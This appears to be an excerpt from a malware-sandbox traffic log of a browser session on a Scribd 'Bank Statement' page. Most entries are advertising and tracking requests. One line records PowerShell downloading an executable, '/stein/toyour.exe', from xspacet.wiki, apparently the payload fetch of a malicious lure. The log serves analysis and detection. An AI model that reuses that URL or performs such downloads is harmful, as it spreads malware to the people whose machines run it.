Source: global traffic	HTTP traffic detected: GET /ats-modules/6ff45175-4a3f-453a-8ee5-b2b22dd6355c/ats.js HTTP/1.1Host: ats-wrapper.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/prebid?pbav=9.23.0&p=%5B%7B%22placement_id%22%3A%22scribd_incontent_mrec_1--2%22%2C%22callback_id%22%3A%22820dd97df209c29%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%2C%5B250%2C250%5D%2C%5B300%2C100%5D%2C%5B200%2C200%5D%2C%5B120%2C240%5D%2C%5B300%2C50%5D%2C%5B180%2C150%5D%2C%5B234%2C60%5D%5D%2C%22ym_placement_id%22%3A%223316241398931333203%22%2C%22gpid%22%3A%22%2F22797863291%2Fscribd_incontent_mrec_1%22%2C%22tid%22%3A%22ddb922b3-bd7e-4e77-bb97-1d00869cbcdb%22%2C%22auctionId%22%3A%22ec533ece-d1b5-4089-8ba4-85859ce36b86%22%7D%5D&page_url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&bust=1739863207476&dnt=false&description=Bank%20Statement%20-%20Free%20download%20as%20PDF%20File%20(.pdf)%2C%20Text%20File%20(.txt)%20or%20read%20online%20for%20free.%20&tmax=3000&userConsent=%7B%22gdprApplies%22%3A%22%22%2C%22cmp%22%3A%22%22%2C%22gpp%22%3A%22%22%2C%22gpp_sid%22%3A%5B%5D%7D&us_privacy=1-N-&pr=&scrd=1&title=Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine&w=1232&h=910&schain=%7B%22ver%22%3A%221.0%22%2C%22complete%22%3A1%2C%22nodes%22%3A%5B%7B%22asi%22%3A%22freestar.com%22%2C%22sid%22%3A%221651%22%2C%22hp%22%3A1%7D%5D%7D HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863207535&to=300&aun=scribd_incontent_mrec_1--2&gpid=%2F22797863291%2Fscribd_incontent_mrec_1&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=300&maxh=250&si=1016133&pi=3&bf=300x250%2C250x250%2C300x100%2C200x200%2C120x240%2C300x50%2C180x150%2C234x60&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863207536&to=300&aun=scribd_incontent_mrec_1--2&gpid=%2F22797863291%2Fscribd_incontent_mrec_1&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=300&maxh=250&si=1016132&pi=3&bf=300x250%2C250x250%2C300x100%2C200x200%2C120x240%2C300x50%2C180x150%2C234x60&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /a/api/fastlane.json?account_id=16924&site_id=499626&zone_id=2978060&size_id=15&alt_size_ids=13%2C14%2C19%2C44&us_privacy=1-N-&rp_schain=1.0,1!freestar.com,1651,1,,,&rf=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_v.id=6153141f-7ee9-4f73-a36b-ee3a444bcc92&tg_i.domain=scribd.com&tg_i.page=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_i.name=scribd-com&tg_i.cat=IAB5&tg_i.sectioncat=IAB5&tg_i.pagecat=IAB5&tg_i.mobile=0&tg_i.fs_optimized=false&tg_i.fs_site=6111&tg_i.fs_ad_product=banner&tg_i.pbadslot=%2F22797863291%2Fscribd_incontent_mrec_1&tk_flint=pbjs_lite_v9.23.0&x_source.tid=ec533ece-d1b5-4089-8ba4-85859ce36b86&l_pb_bid_id=1063c782a52f633e&p_screen_res=1280x1024&rp_secure=1&x_imp.ext.tid=ddb922b3-bd7e-4e77-bb97-1d00869cbcdb&p_site.mobile=0&rp_maxbids=1&p_gpid=%2F22797863291%2Fscribd_incontent_mrec_1&m_ch_ua=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_full_ver=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_mobile=%3F0&m_ch_platform=Windows&slots=1&rand=0.7114350854766698 HTTP/1.1Host: fastlane.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pv?tid=ovOwWALge-wxNijYOo-9517edac5c&w=6212136826568704&o=5714937848528896&cv=2.1.75-1-gb0a1279&widget=false&checksum=1639592c&r=false&vr=1232x910&pageURL=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&sid=gnf6relSBV-LQbi5jGB-9517edac5c&pm=false&upapi=true HTTP/1.1Host: api.btloader.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bao-csm/aps-comm/aps_csm.js HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=8gkxb6n&ttd_tpi=1&ttd_puid=AU1D-0100-001739863208-59L27RBO-LEXM&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /j?dtstmp=1739863205766&did=did-0047&se=e30&duid=4b59e25de34b--01jmbyv9c0rf4g5m4sqh1c9y52&tv=9.23.0&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&wpn=prebid&cd=.scribd.com&n3pc=true HTTP/1.1Host: rp.liadm.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: text/plainx-li-provided-user-agent: undefinedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /script/rlink.js?o=5714937848528896&bt_env=prod HTTP/1.1Host: cdn.btmessage.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=freestar&redir=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dunrulyfsx%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3D%5BRX_UUID%5D&gdpr=&gdpr_consent=&us_privacy=1-N- HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/p/474 HTTP/1.1Host: p.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/UCookieSetPug?rd=https%3A%2F%2Fids.ad.gt%2Fapi%2Fv1%2Fpbm_match%3Fpbm%3D%23PM_USER_ID%26id%3DAU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/halo_match?id=AU1D-0100-001739863208-59L27RBO-LEXM&halo_id=060kjdbdlj8lj2g5b9cicheebh6hkja9l96ywkgk0w40wsqyg6iuismmgs0sywe60 HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=998eaf06-9905-4eae-9e26-9fac75960c53&r=https%3A%2F%2Fids.ad.gt%2Fapi%2Fv1%2Fopenx%3Fopenx_id%3D%7BOPENX_ID%7D%26id%3DAU1D-0100-001739863208-59L27RBO-LEXM%26auid%3DAU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: u.openx.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /stein/toyour.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: xspacet.wikiConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /getuid?https://ids.ad.gt/api/v1/match?id=AU1D-0100-001739863208-59L27RBO-LEXM&adnxs_id=$UID&gdpr=0 HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /cdn/prod/config?src=600&u=https%3A%2F%2Fwww.scribd.com&pubid=0ab198dd-b265-462a-ae36-74e163ad6159 HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/ip_match?id=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: ids4.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=b355ce4f-581b-4a1c-8c84-81fe81e4bc39&r=https%3A%2F%2Fcs.ingage.tech%2Fwdc%2Fv1%2Fsync%2Fopenx%2F65023955-4816-4674-89c6-bc6e7f69d9a0%3Fuid%3D HTTP/1.1Host: u.openx.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /w/1.0/pd?us_privacy=1-N- HTTP/1.1Host: freestar-d.openx.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /token?pid=50242&puid=AU1D-0100-001739863208-59L27RBO-LEXM&gdpr=0 HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /utils/xapi/multi-sync.html?endpoint=us-east&p=insticator HTTP/1.1Host: secure-assets.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?ssp=insticator&us_privacy=1-N-&gdpr=0 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=insticator HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync.html?us_privacy=1-N- HTTP/1.1Host: eus.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /um/ixmatch.html HTTP/1.1Host: js-sec.indexww.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /dmp/async_usersync.html HTTP/1.1Host: acdn.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
